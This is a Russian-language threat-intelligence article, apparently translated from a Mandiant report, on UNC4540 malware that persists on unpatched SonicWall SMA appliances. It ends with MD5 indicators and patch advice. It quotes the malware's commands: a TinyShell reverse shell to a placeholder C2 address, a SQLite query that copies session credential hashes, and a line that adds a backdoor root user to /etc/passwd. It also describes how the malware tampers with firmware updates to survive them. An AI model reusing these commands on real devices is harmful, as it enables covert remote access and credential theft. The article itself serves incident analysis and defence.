Компания Mandiant, работающая в партнерстве с командой SonicWall Product Security and Incident Response Team (PSIRT), выявила предполагаемую китайскую кампанию, в рамках которой вредоносное ПО, запущенное на непропатченном устройстве SonicWall Secure Mobile Access (SMA), сохраняется в течение длительного времени. Вредоносная программа обладает функциями для кражи учетных данных пользователя, предоставления доступа к оболочке и сохранения работоспособности после обновления прошивки. Mandiant в настоящее время отслеживает этого агента как UNC4540.
Анализ скомпрометированного устройства
Анализ скомпрометированного устройства выявил набор файлов, предоставляющих злоумышленнику высокопривилегированный и доступный доступ к устройству. Вредоносное ПО состоит из серии сценариев bash и одного двоичного файла ELF, идентифицированного как вариант TinyShell. Общее поведение набора вредоносных bash-скриптов демонстрирует детальное понимание устройства и хорошо адаптировано к системе для обеспечения стабильности и стойкости.
Основной точкой входа вредоносной программы является bash-скрипт с именем firewalld, который выполняет свой основной цикл один раз для подсчета каждого файла в системе в квадрате: ...for j in $(ls / -R) do for i in $(ls / -R) do:... Сценарий отвечает за выполнение SQL-команды для кражи учетных данных и выполнения других компонентов.
Первая функция в firewalld выполняет бэкдор TinyShell httpsd с командой nohup /bin/httpsd -c<C2 IP ADDRESS> -d 5 -m -1 -p 51432 > /dev/null 2>&1 &, если процесс httpsd еще не запущен. Это переводит TinyShell в режим обратной оболочки, инструктируя его обращаться к вышеупомянутым IP-адресу и порту в определенное время и день, представленные флагом -m, с интервалом маяка, определенным флагом -d. Бинарный файл содержит жестко закодированный IP-адрес, который используется в режиме обратной оболочки, если аргумент IP-адреса оставлен пустым. Также доступен режим прослушивания bind shell.
Основной целью вредоносной программы является кража хэшированных учетных данных всех вошедших в систему пользователей. Она делает это в firewalld, регулярно выполняя SQL-команду select userName,password from Sessions в sqlite3 базе данных /tmp/temp.db и копируя их в созданный злоумышленником текстовый файл /tmp/syslog.db. Исходная база данных /tmp/temp.db используется устройством для отслеживания информации о сеансах, включая хэшированные учетные данные. После получения хэшей злоумышленником они могут быть взломаны в автономном режиме.
Злоумышленники приложили значительные усилия для обеспечения стабильности и стойкости своего инструментария. Это позволило им сохранить доступ к сети через обновления прошивки и закрепиться в сети через устройство SonicWall.
Сценарий запуска rc.local запускает firewalld во время загрузки, но усилия по обеспечению стабильности и устойчивости выходят за рамки этого, с функциональностью, разработанной для обеспечения долгосрочного доступа злоумышленников.
Вторая копия firewalld под названием iptabled также присутствовала на устройстве. iptabled был модифицирован для обеспечения устойчивости основного процесса вредоносной программы в случае выхода или сбоя. Оба скрипта были настроены на вызов другого, если он не был запущен, обеспечивая резервный экземпляр основного процесса вредоносной программы и, следовательно, дополнительный уровень устойчивости.
Обновления прошивки модифицированы для обеспечения устойчивости, создания нового корня
Помимо обеспечения стабильности, злоумышленники реализовали процесс, позволяющий сохранить доступ при обновлении прошивки. bash-скрипт geoBotnetd каждые десять секунд проверяет появление нового обновления прошивки по адресу /cf/FIRMWARE/NEW/INITRD.GZ. Если оно появляется, скрипт копирует файл для резервного копирования, распаковывает его, монтирует, а затем копирует весь пакет файлов вредоносного ПО. geoBotnetd также выполняет команду echo -e "acme:wegB/YNBuL7QI:0:0:pwned:/acme:/bin/bash\n" >> /sda/etc/passwd, что добавляет в систему бэкдорного корневого пользователя acme. Затем он все перезапечатывает и помещает на место со всеми вредоносными программами, готовыми к установке. Эта техника не является особенно сложной, но она демонстрирует значительные усилия со стороны злоумышленника, чтобы понять цикл обновления устройства, а затем разработать и протестировать метод сохранения.
Эти манипуляции с микропрограммой происходили только после эксплойта на уже зараженном устройстве, и не были замечены в атаках по цепочке поставок.
Патч, примененный к двоичному файлу, потенциально для повышения стабильности
Подобным образом, демонстрируя усилия, приложенные к созданию вредоносного ПО, основной скрипт firewalld включает функцию добавления небольшого исправления к легитимному двоичному файлу SonicWall. Он использует простую команду sed для замены строки /sbin/shutdown -r now на bash /bin/ifconfig6 в бинарном файле, а затем создает сценарий /bin/ifconfig6 с содержимым.
Компания Mandiant не стала подробно описывать, как это повлияет на устройство или при каких условиях, но из изменений ясно, что это было сделано для обеспечения плавного закрытия сетевого контроллера перед выполнением команды shutdown. Вполне вероятно, что злоумышленники столкнулись с проблемами либо в процессе использования, либо при тестировании, когда устройство отключается на основе пожарной безопасности.
Компания Mandiant не смогла определить происхождение инфекции, однако вредоносная программа или ее предшественник, скорее всего, была развернута в 2021 году. Mandiant считает, что доступ злоумышленников сохранялся в течение нескольких обновлений прошивки.
Прежде всего, для снижения риска эксплуатации уязвимостей необходимо поддерживать надлежащее управление патчами. На момент публикации этого сообщения в блоге компания SonicWall настоятельно рекомендует клиентам SMA100 обновиться до версии 10.2.1.7 или выше, которая включает в себя такие усовершенствования, как мониторинг целостности файлов (FIM) и выявление аномальных процессов. Сообщение в блоге SonicWall с описанием возможностей патча доступно (New SMA Release Updates OpenSSL Library, Includes Key Security Features), а сам патч можно найти здесь: Upgrade Path For SMA100 Series.
Для обеспечения безопасности клиентов, клиенты SMA100 версии 10.2.1.7 и выше будут получать уведомления в консоли управления о предстоящих обновлениях безопасности CRITICAL.
Учитывая сложность непосредственного исследования затронутых устройств, просмотр имеющихся журналов на предмет вторичных признаков компрометации, таких как аномальные входы в систему или внутренний трафик, может дать некоторые возможности для обнаружения. Тем не менее, применение последнего обновления - лучший способ ограничить любые неожиданные взломы или модификации устройства.
Indicators of Compromise
MD5
- 2d57bcb8351cf2b57c4fd2d1bb8f862e
- 559b9ae2a578e1258e80c45a5794c071
- 619769d3d40a3c28ec83832ca521f521
- 8dbf1effa7bc94fc0b9b4ce83dfce2e6
- e4117b17e3d14fe64f45750be71dbaa6
- fa1bf2e427b2defffd573854c35d4919